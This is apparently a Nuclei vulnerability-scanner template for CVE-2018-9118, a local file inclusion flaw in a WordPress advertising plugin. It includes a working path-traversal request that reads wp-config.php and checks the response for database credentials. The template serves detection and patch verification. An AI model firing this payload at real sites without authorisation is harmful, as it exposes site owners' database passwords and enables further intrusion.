id: CVE-2018-9118

info:
  name: WordPress 99 Robots WP Background Takeover Advertisements <=4.1.4 - Local File Inclusion
  author: 0x_Akoko
  severity: high
  description: |
    WordPress 99 Robots WP Background Takeover Advertisements 4.1.4 is susceptible to local file inclusion via exports/download.php.
  impact: |
    This vulnerability can lead to unauthorized access to sensitive files on the server, potentially exposing sensitive information or allowing for further exploitation.
  remediation: |
    Upgrade to 4.1.15.
  reference:
    - https://www.exploit-db.com/exploits/44417
    - https://wpvulndb.com/vulnerabilities/9056
    - https://99robots.com/docs/wp-background-takeover-advertisements/
    - https://nvd.nist.gov/vuln/detail/CVE-2018-9118
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2018-9118
    cwe-id: CWE-22
    epss-score: 0.48158
    epss-percentile: 0.98708
    cpe: cpe:2.3:a:99robots:wp_background_takeover_advertisements:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: 99robots
    product: wp_background_takeover_advertisements
    framework: wordpress
  tags: cve2018,cve,edb,wordpress,wp-plugin,lfi,traversal,wp,99robots,vkev,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/wp-content/plugins/wpsite-background-takeover/exports/download.php?filename=../../../../wp-config.php'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "DB_NAME"
          - "DB_PASSWORD"
          - "DB_HOST"
          - "The base configurations of the WordPress"
        condition: and
# digest: 4b0a00483046022100b91b0e543b1f252645be93ece6ee395802949fb2c4eb9da2a4824403667eb867022100c5e1ea1e22adf466b3252df3fdc2a814dbedf2a579ea5cffd6aabb4cca712b42:922c64590222798bb761d5b6d8e72950